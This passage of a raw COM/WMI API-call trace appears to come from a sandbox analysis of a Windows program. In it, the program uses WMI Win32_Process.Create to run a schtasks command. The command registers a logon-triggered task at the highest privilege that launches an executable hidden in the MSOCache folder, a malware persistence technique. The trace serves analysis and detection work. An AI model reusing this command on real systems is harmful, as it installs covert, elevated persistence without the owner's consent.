pAptType=0x1b30d408*=1) returned 0x0 [0122.991] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.991] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.992] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48ad70) returned 0x0 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ad70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.992] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ad70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afee0) returned 0x0 [0122.992] WbemDefPath:IUnknown:Release (This=0x1b48ad70) returned 0x0 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afee0) returned 0x0 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.992] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48ab90) returned 0x0 [0122.993] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ab90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.993] WbemDefPath:IUnknown:Release (This=0x1b48ab90) returned 0x3 [0122.993] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.993] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.993] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0122.993] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0122.993] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.993] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afee0) returned 0x0 [0122.993] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0122.993] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0122.993] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0122.993] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4afbe0) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0122.993] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afbe0, uIndex=0x0, pszName="root") returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0122.993] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afbe0, uIndex=0x1, pszName="cimv2") returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afee0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0122.993] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afee0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afbe0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afbe0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afbe0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0122.994] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0122.994] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0122.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511a58) returned 0x0 [0122.994] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0122.994] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0122.994] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0122.994] IWbemServices:GetObject (in: This=0x1b4e0590, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7220, ppCallResult=0x0) returned 0x0 [0123.001] IWbemClassObject:GetMethod (in: This=0x1b4d7220, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d86c0, ppOutSignature=0x1b30d610*=0x1b4d8350) returned 0x0 [0123.001] IWbemClassObject:SpawnInstance (in: This=0x1b4d86c0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x643ae0) returned 0x0 [0123.001] IWbemClassObject:Get (in: This=0x643ae0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29068e0*=0, plFlavor=0x29068e4*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29068e0*=8, plFlavor=0x29068e4*=32) returned 0x0 [0123.001] IWbemClassObject:Get (in: This=0x643ae0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29068e0*=8, plFlavor=0x29068e4*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29068e0*=8, plFlavor=0x29068e4*=32) returned 0x0 [0123.001] IWbemClassObject:Put (This=0x643ae0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"accupos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0123.001] IWbemClassObject:Get (in: This=0x643ae0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2906970*=0, plFlavor=0x2906974*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2906970*=13, plFlavor=0x2906974*=32) returned 0x0 [0123.002] IWbemClassObject:Get (in: This=0x643ae0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2906970*=13, plFlavor=0x2906974*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2906970*=13, plFlavor=0x2906974*=32) returned 0x0 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d6b40) returned 0x0 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0123.002] IUnknown:AddRef (This=0x1b4d6b40) returned 0x3 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d6b48) returned 0x0 [0123.002] IMarshal:GetUnmarshalClass (in: This=0x1b4d6b48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0123.002] IUnknown:Release (This=0x1b4d6b48) returned 0x3 [0123.002] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0123.002] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0123.002] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0123.002] IUnknown:Release (This=0x1b4d6b40) returned 0x2 [0123.002] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0123.002] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0123.003] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0123.003] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0123.003] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0123.003] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0123.003] IUnknown:AddRef (This=0x1b4d6b40) returned 0x3 [0123.003] IWbemClassObject:Put (This=0x643ae0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d6b40, varVal2=0x0), Type=0) returned 0x0 [0123.003] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0123.003] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0123.003] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0123.003] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0123.003] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0123.003] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.003] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.003] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0123.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511a58) returned 0x0 [0123.003] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0123.003] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0123.003] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.003] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0123.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511a58) returned 0x0 [0123.003] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0123.004] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0123.004] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0123.004] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0123.004] IWbemServices:ExecMethod (in: This=0x1b4e0590, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x643ae0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4521a0, ppCallResult=0x0) returned 0x0 [0123.089] IWbemClassObject:Get (in: This=0x1b4521a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2906c80*=0, plFlavor=0x2906c84*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x134c, varVal2=0x0), pType=0x2906c80*=19, plFlavor=0x2906c84*=0) returned 0x0 [0123.089] IWbemClassObject:Get (in: This=0x1b4521a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2906c80*=19, plFlavor=0x2906c84*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x134c, varVal2=0x0), pType=0x2906c80*=19, plFlavor=0x2906c84*=0) returned 0x0 [0123.090] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0123.090] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0123.090] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0123.090] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.096] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b48ad30) returned 0x0 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ad30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0123.097] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ad30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b0720) returned 0x0 [0123.097] WbemDefPath:IUnknown:Release (This=0x1b48ad30) returned 0x0 [0123.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 